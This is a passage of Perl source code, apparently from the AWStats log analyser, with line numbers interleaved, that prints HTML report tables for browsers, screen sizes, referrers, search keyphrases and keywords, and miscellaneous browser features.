                                        my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
 
15433
                                          || $keywithoutcumul;
 
15434
                                        my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
 
15435
                                          || "notavailable";
 
15436
                                        if ( $BrowsersFamily{$keywithoutcumul} ) {
 
15437
                                                $libbrowser = "$libbrowser";
 
15438
                                        }
 
15439
                                        push @blocklabel, "$libbrowser";
 
15440
                                }
 
15441
                                $cnt++;
 
15442
                                if ($cnt > 4) { last; }
 
15443
                        }
 
15444
                        print "<tr><td colspan=\"5\">";
 
15445
                        my $function = "ShowGraph_$pluginname";
 
15446
                        &$function(
 
15447
                                "Top 5 Browsers",       "browsers",
 
15448
                                0,                                              \@blocklabel,
 
15449
                                0,                              \@valcolor,
 
15450
                                0,                              0,
 
15451
                                0,                              \@valdata
 
15452
                        );
 
15453
                        print "</td></tr>";
 
15454
                }
 
15455
        }
 
15456
        print
 
15457
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
 
15458
        my $total_h = 0;
 
15459
        my $count = 0;
 
15460
        foreach my $key (@keylist) {
 
15461
                my $p = '&nbsp;';
 
15462
                if ($Totalh) {
 
15463
                        $p = int( $new_browser_h{$key} / $Totalh * 1000 ) / 10;
 
15464
                        $p = "$p %";
 
15465
                }
 
15466
                if ( $key eq 'Unknown' ) {
 
15467
                        print "<tr><td"
 
15468
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
15469
                          . "><img src=\"$DirIcons\/browser\/unknown.png\""
 
15470
                          . AltTitle("")
 
15471
                          . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td><td>".Format_Number($_browser_h{$key})."</td><td>$p</td></tr>\n";
 
15472
                }
 
15473
                else {
 
15474
                        my $keywithoutcumul = $key;
 
15475
                        $keywithoutcumul =~ s/cumul$//i;
 
15476
                        my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
 
15477
                          || $keywithoutcumul;
 
15478
                        my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
 
15479
                          || "notavailable";
 
15480
                        if ( $BrowsersFamily{$keywithoutcumul} ) {
 
15481
                                $libbrowser = "<b>$libbrowser</b>";
 
15482
                        }
 
15483
                        print "<tr><td"
 
15484
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
15485
                          . "><img src=\"$DirIcons\/browser\/$nameicon.png\""
 
15486
                          . AltTitle("")
 
15487
                          . " /></td><td class=\"aws\">"
 
15488
                          . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
 
15489
                          . "$libbrowser"
 
15490
                          . ( $PageDir eq 'rtl' ? "</span>" : "" )
 
15491
                          . "</td><td>"
 
15492
                          . (
 
15493
                                $BrowsersHereAreGrabbers{$key}
 
15494
                                ? "<b>$Message[112]</b>"
 
15495
                                : "$Message[113]"
 
15496
                          )
 
15497
                          . "</td><td>".Format_Number($new_browser_h{$key})."</td><td>$p</td></tr>\n";
 
15498
                }
 
15499
                $total_h += $new_browser_h{$key};
 
15500
                $count++;
 
15501
        }
 
15502
        if ($Debug) {
 
15503
                debug( "Total real / shown : $Totalh / $total_h", 2 );
 
15504
        }
 
15505
        my $rest_h = $Totalh - $total_h;
 
15506
        if ( $rest_h > 0 ) {
 
15507
                my $p;
 
15508
                if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
 
15509
                print "<tr>";
 
15510
                print "<td>&nbsp;</td>";
 
15511
                print
 
15512
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>&nbsp;</td><td>$rest_h</td>";
 
15513
                        print "<td>$p %</td></tr>\n";
 
15514
                }
 
15515
                &tab_end();
 
15516
}
 
15517
 
 
15518
#------------------------------------------------------------------------------
 
15519
# Function:     Prints the ScreenSize chart and table
 
15520
# Parameters:   -
 
15521
# Input:        -
 
15522
# Output:       HTML
 
15523
# Return:       -
 
15524
#------------------------------------------------------------------------------
 
15525
sub HTMLMainScreenSize{
 
15526
        if ($Debug) { debug( "ShowScreenSizeStats", 2 ); }
 
15527
        print "$Center<a name=\"screensizes\">&nbsp;</a><br />\n";
 
15528
        my $Totalh = 0;
 
15529
        foreach ( keys %_screensize_h ) { $Totalh += $_screensize_h{$_}; }
 
15530
        my $title =
 
15531
          "$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})";
 
15532
        &tab_head( "$title", 0, 0, 'screensizes' );
 
15533
        print
 
15534
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
 
15535
        my $total_h = 0;
 
15536
        my $count   = 0;
 
15537
        &BuildKeyList( $MaxNbOf{'ScreenSizesShown'},
 
15538
                $MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h );
 
15539
 
 
15540
        foreach my $key (@keylist) {
 
15541
                my $p = '&nbsp;';
 
15542
                if ($Totalh) {
 
15543
                        $p = int( $_screensize_h{$key} / $Totalh * 1000 ) / 10;
 
15544
                        $p = "$p %";
 
15545
                }
 
15546
                $total_h += $_screensize_h{$key} || 0;
 
15547
                print "<tr>";
 
15548
                if ( $key eq 'Unknown' ) {
 
15549
                        print
 
15550
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
 
15551
                        print "<td>$p</td>";
 
15552
                }
 
15553
                else {
 
15554
                        my $screensize = $key;
 
15555
                        print "<td class=\"aws\">$screensize</td>";
 
15556
                        print "<td>$p</td>";
 
15557
                }
 
15558
                print "</tr>\n";
 
15559
                $count++;
 
15560
        }
 
15561
        my $rest_h = $Totalh - $total_h;
 
15562
        if ( $rest_h > 0 ) {    # All others sessions
 
15563
                my $p = 0;
 
15564
                if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
 
15565
                print
 
15566
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
15567
                print "<td>" . ( $rest_h ? "$p %" : "&nbsp;" ) . "</td>";
 
15568
                print "</tr>\n";
 
15569
        }
 
15570
        &tab_end();
 
15571
}
 
15572
 
 
15573
#------------------------------------------------------------------------------
 
15574
# Function:     Prints the Referrers chart and table
 
15575
# Parameters:   $NewLinkParams, $NewLinkTarget
 
15576
# Input:        -
 
15577
# Output:       HTML
 
15578
# Return:       -
 
15579
#------------------------------------------------------------------------------
 
15580
sub HTMLMainReferrers{
 
15581
        my $NewLinkParams = shift;
 
15582
        my $NewLinkTarget = shift;
 
15583
        
 
15584
        if ($Debug) { debug( "ShowOriginStats", 2 ); }
 
15585
        print "$Center<a name=\"referer\">&nbsp;</a><br />\n";
 
15586
        my $Totalp = 0;
 
15587
        foreach ( 0 .. 5 ) {
 
15588
                $Totalp +=
 
15589
                  ( $_ != 4 || $IncludeInternalLinksInOriginSection )
 
15590
                  ? $_from_p[$_]
 
15591
                  : 0;
 
15592
        }
 
15593
        my $Totalh = 0;
 
15594
        foreach ( 0 .. 5 ) {
 
15595
                $Totalh +=
 
15596
                  ( $_ != 4 || $IncludeInternalLinksInOriginSection )
 
15597
                  ? $_from_h[$_]
 
15598
                  : 0;
 
15599
        }
 
15600
        &tab_head( $Message[36], 19, 0, 'referer' );
 
15601
        my @p_p = ( 0, 0, 0, 0, 0, 0 );
 
15602
        if ( $Totalp > 0 ) {
 
15603
                $p_p[0] = int( $_from_p[0] / $Totalp * 1000 ) / 10;
 
15604
                $p_p[1] = int( $_from_p[1] / $Totalp * 1000 ) / 10;
 
15605
                $p_p[2] = int( $_from_p[2] / $Totalp * 1000 ) / 10;
 
15606
                $p_p[3] = int( $_from_p[3] / $Totalp * 1000 ) / 10;
 
15607
                $p_p[4] = int( $_from_p[4] / $Totalp * 1000 ) / 10;
 
15608
                $p_p[5] = int( $_from_p[5] / $Totalp * 1000 ) / 10;
 
15609
        }
 
15610
        my @p_h = ( 0, 0, 0, 0, 0, 0 );
 
15611
        if ( $Totalh > 0 ) {
 
15612
                $p_h[0] = int( $_from_h[0] / $Totalh * 1000 ) / 10;
 
15613
                $p_h[1] = int( $_from_h[1] / $Totalh * 1000 ) / 10;
 
15614
                $p_h[2] = int( $_from_h[2] / $Totalh * 1000 ) / 10;
 
15615
                $p_h[3] = int( $_from_h[3] / $Totalh * 1000 ) / 10;
 
15616
                $p_h[4] = int( $_from_h[4] / $Totalh * 1000 ) / 10;
 
15617
                $p_h[5] = int( $_from_h[5] / $Totalh * 1000 ) / 10;
 
15618
        }
 
15619
        print
 
15620
          "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>";
 
15621
        if ( $ShowOriginStats =~ /P/i ) {
 
15622
                print
 
15623
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
 
15624
        }
 
15625
        if ( $ShowOriginStats =~ /H/i ) {
 
15626
                print
 
15627
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
 
15628
        }
 
15629
        print "</tr>\n";
 
15630
 
 
15631
        #------- Referrals by direct address/bookmark/link in email/etc...
 
15632
        print "<tr><td class=\"aws\"><b>$Message[38]</b></td>";
 
15633
        if ( $ShowOriginStats =~ /P/i ) {
 
15634
                print "<td>"
 
15635
                  . ( $_from_p[0] ? Format_Number($_from_p[0]) : "&nbsp;" )
 
15636
                  . "</td><td>"
 
15637
                  . ( $_from_p[0] ? "$p_p[0] %" : "&nbsp;" ) . "</td>";
 
15638
        }
 
15639
        if ( $ShowOriginStats =~ /H/i ) {
 
15640
                print "<td>"
 
15641
                  . ( $_from_h[0] ? Format_Number($_from_h[0]) : "&nbsp;" )
 
15642
                  . "</td><td>"
 
15643
                  . ( $_from_h[0] ? "$p_h[0] %" : "&nbsp;" ) . "</td>";
 
15644
        }
 
15645
        print "</tr>\n";
 
15646
 
 
15647
        #------- Referrals by search engines
 
15648
        print "<tr"
 
15649
          . Tooltip(13)
 
15650
          . "><td class=\"aws\"><b>$Message[40]</b> - <a href=\""
 
15651
          . (
 
15652
                $ENV{'GATEWAY_INTERFACE'}
 
15653
                  || !$StaticLinks
 
15654
                ? XMLEncode("$AWScript${NewLinkParams}output=refererse")
 
15655
                : "$StaticLinks.refererse.$StaticExt"
 
15656
          )
 
15657
          . "\"$NewLinkTarget>$Message[80]</a><br />\n";
 
15658
        if ( scalar keys %_se_referrals_h ) {
 
15659
                print "<table>\n";
 
15660
                my $total_p = 0;
 
15661
                my $total_h = 0;
 
15662
                my $count = 0;
 
15663
                &BuildKeyList(
 
15664
                        $MaxNbOf{'RefererShown'},
 
15665
                        $MinHit{'Refer'},
 
15666
                        \%_se_referrals_h,
 
15667
                        (
 
15668
                                ( scalar keys %_se_referrals_p )
 
15669
                                ? \%_se_referrals_p
 
15670
                                : \%_se_referrals_h
 
15671
                        )
 
15672
                );
 
15673
                foreach my $key (@keylist) {
 
15674
                        my $newreferer = $SearchEnginesHashLib{$key}
 
15675
                          || CleanXSS($key);
 
15676
                        print "<tr><td class=\"aws\">- $newreferer</td>";
 
15677
                        print "<td>"
 
15678
                          . (
 
15679
                                Format_Number($_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' ))
 
15680
                          . "</td>";
 
15681
                        print "<td> / ".Format_Number($_se_referrals_h{$key})."</td>";
 
15682
                        print "</tr>\n";
 
15683
                        $total_p += $_se_referrals_p{$key};
 
15684
                        $total_h += $_se_referrals_h{$key};
 
15685
                        $count++;
 
15686
                }
 
15687
                if ($Debug) {
 
15688
                        debug(
 
15689
"Total real / shown : $TotalSearchEnginesPages / $total_p -  $TotalSearchEnginesHits / $total_h",
 
15690
                                2
 
15691
                        );
 
15692
                }
 
15693
                my $rest_p = $TotalSearchEnginesPages - $total_p;
 
15694
                my $rest_h = $TotalSearchEnginesHits - $total_h;
 
15695
                if ( $rest_p > 0 || $rest_h > 0 ) {
 
15696
                        print
 
15697
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
 
15698
                        print "<td>".Format_Number($rest_p)."</td>";
 
15699
                        print "<td> / ".Format_Number($rest_h)."</td>";
 
15700
                        print "</tr>\n";
 
15701
                }
 
15702
                print "</table>";
 
15703
        }
 
15704
        print "</td>\n";
 
15705
        if ( $ShowOriginStats =~ /P/i ) {
 
15706
                print "<td valign=\"top\">"
 
15707
                  . ( $_from_p[2] ? Format_Number($_from_p[2]) : "&nbsp;" )
 
15708
                  . "</td><td valign=\"top\">"
 
15709
                  . ( $_from_p[2] ? "$p_p[2] %" : "&nbsp;" ) . "</td>";
 
15710
        }
 
15711
        if ( $ShowOriginStats =~ /H/i ) {
 
15712
                print "<td valign=\"top\">"
 
15713
                  . ( $_from_h[2] ? Format_Number($_from_h[2]) : "&nbsp;" )
 
15714
                  . "</td><td valign=\"top\">"
 
15715
                  . ( $_from_h[2] ? "$p_h[2] %" : "&nbsp;" ) . "</td>";
 
15716
        }
 
15717
        print "</tr>\n";
 
15718
 
 
15719
        #------- Referrals by external HTML link
 
15720
        print "<tr"
 
15721
          . Tooltip(14)
 
15722
          . "><td class=\"aws\"><b>$Message[41]</b> - <a href=\""
 
15723
          . (
 
15724
                $ENV{'GATEWAY_INTERFACE'}
 
15725
                  || !$StaticLinks
 
15726
                ? XMLEncode("$AWScript${NewLinkParams}output=refererpages")
 
15727
                : "$StaticLinks.refererpages.$StaticExt"
 
15728
          )
 
15729
          . "\"$NewLinkTarget>$Message[80]</a><br />\n";
 
15730
        if ( scalar keys %_pagesrefs_h ) {
 
15731
                print "<table>\n";
 
15732
                my $total_p = 0;
 
15733
                my $total_h = 0;
 
15734
                my $count = 0;
 
15735
                &BuildKeyList(
 
15736
                        $MaxNbOf{'RefererShown'},
 
15737
                        $MinHit{'Refer'},
 
15738
                        \%_pagesrefs_h,
 
15739
                        (
 
15740
                                ( scalar keys %_pagesrefs_p )
 
15741
                                ? \%_pagesrefs_p
 
15742
                                : \%_pagesrefs_h
 
15743
                        )
 
15744
                );
 
15745
                foreach my $key (@keylist) {
 
15746
                        print "<tr><td class=\"aws\">- ";
 
15747
                        &HTMLShowURLInfo($key);
 
15748
                        print "</td>";
 
15749
                        print "<td>"
 
15750
                          . Format_Number(( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '0' ))
 
15751
                          . "</td>";
 
15752
                        print "<td>".Format_Number($_pagesrefs_h{$key})."</td>";
 
15753
                        print "</tr>\n";
 
15754
                        $total_p += $_pagesrefs_p{$key};
 
15755
                        $total_h += $_pagesrefs_h{$key};
 
15756
                        $count++;
 
15757
                }
 
15758
                if ($Debug) {
 
15759
                        debug(
 
15760
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
 
15761
                                2
 
15762
                        );
 
15763
                }
 
15764
                my $rest_p = $TotalRefererPages - $total_p;
 
15765
                my $rest_h = $TotalRefererHits - $total_h;
 
15766
                if ( $rest_p > 0 || $rest_h > 0 ) {
 
15767
                        print
 
15768
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
 
15769
                        print "<td>".Format_Number($rest_p)."</td>";
 
15770
                        print "<td>".Format_Number($rest_h)."</td>";
 
15771
                        print "</tr>\n";
 
15772
                }
 
15773
                print "</table>";
 
15774
        }
 
15775
        print "</td>\n";
 
15776
        if ( $ShowOriginStats =~ /P/i ) {
 
15777
                print "<td valign=\"top\">"
 
15778
                  . ( $_from_p[3] ? Format_Number($_from_p[3]) : "&nbsp;" )
 
15779
                  . "</td><td valign=\"top\">"
 
15780
                  . ( $_from_p[3] ? "$p_p[3] %" : "&nbsp;" ) . "</td>";
 
15781
        }
 
15782
        if ( $ShowOriginStats =~ /H/i ) {
 
15783
                print "<td valign=\"top\">"
 
15784
                  . ( $_from_h[3] ? Format_Number($_from_h[3]) : "&nbsp;" )
 
15785
                  . "</td><td valign=\"top\">"
 
15786
                  . ( $_from_h[3] ? "$p_h[3] %" : "&nbsp;" ) . "</td>";
 
15787
        }
 
15788
        print "</tr>\n";
 
15789
 
 
15790
        #------- Referrals by internal HTML link
 
15791
        if ($IncludeInternalLinksInOriginSection) {
 
15792
                print "<tr><td class=\"aws\"><b>$Message[42]</b></td>";
 
15793
                if ( $ShowOriginStats =~ /P/i ) {
 
15794
                        print "<td>"
 
15795
                          . ( $_from_p[4] ? Format_Number($_from_p[4]) : "&nbsp;" )
 
15796
                          . "</td><td>"
 
15797
                          . ( $_from_p[4] ? "$p_p[4] %" : "&nbsp;" ) . "</td>";
 
15798
                }
 
15799
                if ( $ShowOriginStats =~ /H/i ) {
 
15800
                        print "<td>"
 
15801
                          . ( $_from_h[4] ? Format_Number($_from_h[4]) : "&nbsp;" )
 
15802
                          . "</td><td>"
 
15803
                          . ( $_from_h[4] ? "$p_h[4] %" : "&nbsp;" ) . "</td>";
 
15804
                }
 
15805
                print "</tr>\n";
 
15806
        }
 
15807
 
 
15808
        #------- Referrals by news group
 
15809
        #print "<tr><td class=\"aws\"><b>$Message[107]</b></td>";
 
15810
        #if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:"&nbsp;")."</td><td>".($_from_p[5]?"$p_p[5] %":"&nbsp;")."</td>"; }
 
15811
        #if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:"&nbsp;")."</td><td>".($_from_h[5]?"$p_h[5] %":"&nbsp;")."</td>"; }
 
15812
        #print "</tr>\n";
 
15813
        
 
15814
        #------- Unknown origin
 
15815
        print "<tr><td class=\"aws\"><b>$Message[39]</b></td>";
 
15816
        if ( $ShowOriginStats =~ /P/i ) {
 
15817
                print "<td>"
 
15818
                  . ( $_from_p[1] ? Format_Number($_from_p[1]) : "&nbsp;" )
 
15819
                  . "</td><td>"
 
15820
                  . ( $_from_p[1] ? "$p_p[1] %" : "&nbsp;" ) . "</td>";
 
15821
        }
 
15822
        if ( $ShowOriginStats =~ /H/i ) {
 
15823
                print "<td>"
 
15824
                  . ( $_from_h[1] ? Format_Number($_from_h[1]) : "&nbsp;" )
 
15825
                  . "</td><td>"
 
15826
                  . ( $_from_h[1] ? "$p_h[1] %" : "&nbsp;" ) . "</td>";
 
15827
        }
 
15828
        print "</tr>\n";
 
15829
        &tab_end();
 
15830
 
 
15831
        # 0: Direct
 
15832
        # 1: Unknown
 
15833
        # 2: SE
 
15834
        # 3: External link
 
15835
        # 4: Internal link
 
15836
        # 5: Newsgroup (deprecated)
 
15837
}
 
15838
 
 
15839
#------------------------------------------------------------------------------
 
15840
# Function:     Prints the Key Phrases and Keywords chart and table
 
15841
# Parameters:   $NewLinkParams, $NewLinkTarget
 
15842
# Input:        -
 
15843
# Output:       HTML
 
15844
# Return:       -
 
15845
#------------------------------------------------------------------------------
 
15846
sub HTMLMainKeys{
 
15847
        my $NewLinkParams = shift;
 
15848
        my $NewLinkTarget = shift;
 
15849
        
 
15850
        if ($ShowKeyphrasesStats) {
 
15851
                print "$Center<a name=\"keyphrases\">&nbsp;</a>";
 
15852
        }
 
15853
        if ($ShowKeywordsStats) {
 
15854
                print "$Center<a name=\"keywords\">&nbsp;</a>";
 
15855
        }
 
15856
        if ( $ShowKeyphrasesStats || $ShowKeywordsStats ) { print "<br />\n"; }
 
15857
        if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
 
15858
                print
 
15859
                  "<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>";
 
15860
        }
 
15861
        if ($ShowKeyphrasesStats) {
 
15862
                
 
15863
                # By Keyphrases
 
15864
                if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
 
15865
                        print "<td width=\"50%\" valign=\"top\">\n";
 
15866
                }
 
15867
                if ($Debug) { debug( "ShowKeyphrasesStats", 2 ); }
 
15868
                &tab_head(
 
15869
"$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\""
 
15870
                          . (
 
15871
                                $ENV{'GATEWAY_INTERFACE'}
 
15872
                                  || !$StaticLinks
 
15873
                                ? XMLEncode("$AWScript${NewLinkParams}output=keyphrases")
 
15874
                                : "$StaticLinks.keyphrases.$StaticExt"
 
15875
                          )
 
15876
                          . "\"$NewLinkTarget>$Message[80]</a>",
 
15877
                        19,
 
15878
                        ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
 
15879
                        'keyphrases'
 
15880
                );
 
15881
                print "<tr bgcolor=\"#$color_TableBGRowTitle\""
 
15882
                  . Tooltip(15)
 
15883
                  . "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
 
15884
                my $total_s = 0;
 
15885
                my $count = 0;
 
15886
                &BuildKeyList( $MaxNbOf{'KeyphrasesShown'},
 
15887
                        $MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases );
 
15888
                foreach my $key (@keylist) {
 
15889
                        my $mot;
 
15890
 
 
15891
  # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
 
15892
                        if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
 
15893
                                $mot = CleanXSS(
 
15894
                                        DecodeKey_decodeutfkeys(
 
15895
                                                $key, $PageCode || 'iso-8859-1'
 
15896
                                        )
 
15897
                                );
 
15898
                        }
 
15899
                        else { $mot = CleanXSS( DecodeEncodedString($key) ); }
 
15900
                        my $p;
 
15901
                        if ($TotalKeyphrases) {
 
15902
                                $p =
 
15903
                                  int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
 
15904
                        }
 
15905
                        print "<tr><td class=\"aws\">"
 
15906
                          . XMLEncode($mot)
 
15907
                          . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
 
15908
                        $total_s += $_keyphrases{$key};
 
15909
                        $count++;
 
15910
                }
 
15911
                if ($Debug) {
 
15912
                        debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
 
15913
                }
 
15914
                my $rest_s = $TotalKeyphrases - $total_s;
 
15915
                if ( $rest_s > 0 ) {
 
15916
                        my $p;
 
15917
                        if ($TotalKeyphrases) {
 
15918
                                $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
 
15919
                        }
 
15920
                        print
 
15921
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
 
15922
                        print "<td>$p&nbsp;%</td></tr>\n";
 
15923
                }
 
15924
                &tab_end();
 
15925
                if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
 
15926
                        print "</td>\n";
 
15927
                }
 
15928
        }
 
15929
        if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
 
15930
                print "<td> &nbsp; </td>";
 
15931
        }
 
15932
        if ($ShowKeywordsStats) {
 
15933
 
 
15934
                # By Keywords
 
15935
                if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
 
15936
                        print "<td width=\"50%\" valign=\"top\">\n";
 
15937
                }
 
15938
                if ($Debug) { debug( "ShowKeywordsStats", 2 ); }
 
15939
                &tab_head(
 
15940
"$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\""
 
15941
                          . (
 
15942
                                $ENV{'GATEWAY_INTERFACE'}
 
15943
                                  || !$StaticLinks
 
15944
                                ? XMLEncode("$AWScript${NewLinkParams}output=keywords")
 
15945
                                : "$StaticLinks.keywords.$StaticExt"
 
15946
                          )
 
15947
                          . "\"$NewLinkTarget>$Message[80]</a>",
 
15948
                        19,
 
15949
                        ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
 
15950
                        'keywords'
 
15951
                );
 
15952
                print "<tr bgcolor=\"#$color_TableBGRowTitle\""
 
15953
                  . Tooltip(15)
 
15954
                  . "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
 
15955
                my $total_s = 0;
 
15956
                my $count = 0;
 
15957
                &BuildKeyList( $MaxNbOf{'KeywordsShown'},
 
15958
                        $MinHit{'Keyword'}, \%_keywords, \%_keywords );
 
15959
                foreach my $key (@keylist) {
 
15960
                        my $mot;
 
15961
 
 
15962
  # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
 
15963
                        if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
 
15964
                                $mot = CleanXSS(
 
15965
                                        DecodeKey_decodeutfkeys(
 
15966
                                                $key, $PageCode || 'iso-8859-1'
 
15967
                                        )
 
15968
                                );
 
15969
                        }
 
15970
                        else { $mot = CleanXSS( DecodeEncodedString($key) ); }
 
15971
                        my $p;
 
15972
                        if ($TotalKeywords) {
 
15973
                                $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
 
15974
                        }
 
15975
                        print "<tr><td class=\"aws\">"
 
15976
                          . XMLEncode($mot)
 
15977
                          . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
 
15978
                        $total_s += $_keywords{$key};
 
15979
                        $count++;
 
15980
                }
 
15981
                if ($Debug) {
 
15982
                        debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
 
15983
                }
 
15984
                my $rest_s = $TotalKeywords - $total_s;
 
15985
                if ( $rest_s > 0 ) {
 
15986
                        my $p;
 
15987
                        if ($TotalKeywords) {
 
15988
                                $p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
 
15989
                        }
 
15990
                        print
 
15991
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
 
15992
                        print "<td>$p %</td></tr>\n";
 
15993
                }
 
15994
                &tab_end();
 
15995
                if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
 
15996
                        print "</td>\n";
 
15997
                }
 
15998
        }
 
15999
        if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
 
16000
                print "</tr></table>\n";
 
16001
        }
 
16002
}
 
16003
 
 
16004
#------------------------------------------------------------------------------
 
16005
# Function:     Prints the miscellaneous table
 
16006
# Parameters:   -
 
16007
# Input:        -
 
16008
# Output:       HTML
 
16009
# Return:       -
 
16010
#------------------------------------------------------------------------------
 
16011
sub HTMLMainMisc{
 
16012
        if ($Debug) { debug( "ShowMiscStats", 2 ); }
 
16013
        print "$Center<a name=\"misc\">&nbsp;</a><br />\n";
 
16014
        my $title = "$Message[139]";
 
16015
        &tab_head( "$title", 19, 0, 'misc' );
 
16016
        print
 
16017
          "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>";
 
16018
        print "<th width=\"100\">&nbsp;</th>";
 
16019
        print "<th width=\"100\">&nbsp;</th>";
 
16020
        print "</tr>\n";
 
16021
        my %label = (
 
16022
                'AddToFavourites'           => $Message[137],
 
16023
                'JavascriptDisabled'        => $Message[168],
 
16024
                'JavaEnabled'               => $Message[140],
 
16025
                'DirectorSupport'           => $Message[141],
 
16026
                'FlashSupport'              => $Message[142],
 
16027
                'RealPlayerSupport'         => $Message[143],
 
16028
                'QuickTimeSupport'          => $Message[144],
 
16029
                'WindowsMediaPlayerSupport' => $Message[145],
 
16030
                'PDFSupport'                => $Message[146]
 
16031
        );
 
16032
 
 
16033
        foreach my $key (@MiscListOrder) {
 
16034
                my $mischar = substr( $key, 0, 1 );
 
16035
                if ( $ShowMiscStats !~ /$mischar/i ) { next; }
 
16036
                my $total = 0;
 
16037
                my $p;
 
16038
                if ( $MiscListCalc{$key} eq 'v' ) { $total = $TotalVisits; }
 
16039
                if ( $MiscListCalc{$key} eq 'u' ) { $total = $TotalUnique; }
 
16040
                if ( $MiscListCalc{$key} eq 'hm' ) {
 
16041
                        $total = $_misc_h{'TotalMisc'} || 0;
 
16042
                }
 
16043
                if ($total) {
 
16044
                        $p =
 
16045
                          int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total *
 
16046
                                  1000 ) / 10;
 
16047
                }
 
16048
                print "<tr>";
 
16049
                print "<td class=\"aws\">"
 
16050
                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
 
16051
                  . $label{$key}
 
16052
                  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
 
16053
                if ( $MiscListCalc{$key} eq 'v' ) {
 
16054
                        print "<td>"
 
16055
                          . Format_Number(( $_misc_h{$key} || 0 ))
 
16056
                          . " / ".Format_Number($total)." $Message[12]</td>";
 
16057
                }
 
16058
                if ( $MiscListCalc{$key} eq 'u' ) {
 
16059
                        print "<td>"
 
16060
                          . Format_Number(( $_misc_h{$key} || 0 ))
 
16061
                          . " / ".Format_Number($total)." $Message[18]</td>";
 
16062
                }
 
16063
                if ( $MiscListCalc{$key} eq 'hm' ) { print "<td>-</td>"; }
 
16064
                print "<td>" . ( $total ? "$p %" : "&nbsp;" ) . "</td>";
 
16065
                print "</tr>\n";
 
16066
        }
 
16067
        &tab_end();
 
16068
}
 
16069
 
 
16070
#------------------------------------------------------------------------------
 
16071
# Function:     Prints the Status codes chart and table
 
16072
# Parameters:   $NewLinkParams, $NewLinkTarget
 
16073
# Input:        -
 
16074
# Output:       HTML
 
16075
# Return:       -
 
16076
#------------------------------------------------------------------------------
 
16077
sub HTMLMainHTTPStatus{
 
16078
        my $NewLinkParams = shift;
 
16079
        my $NewLinkTarget = shift;
 
16080
        
 
16081
        if ($Debug) { debug( "ShowHTTPErrorsStats", 2 ); }
 
16082
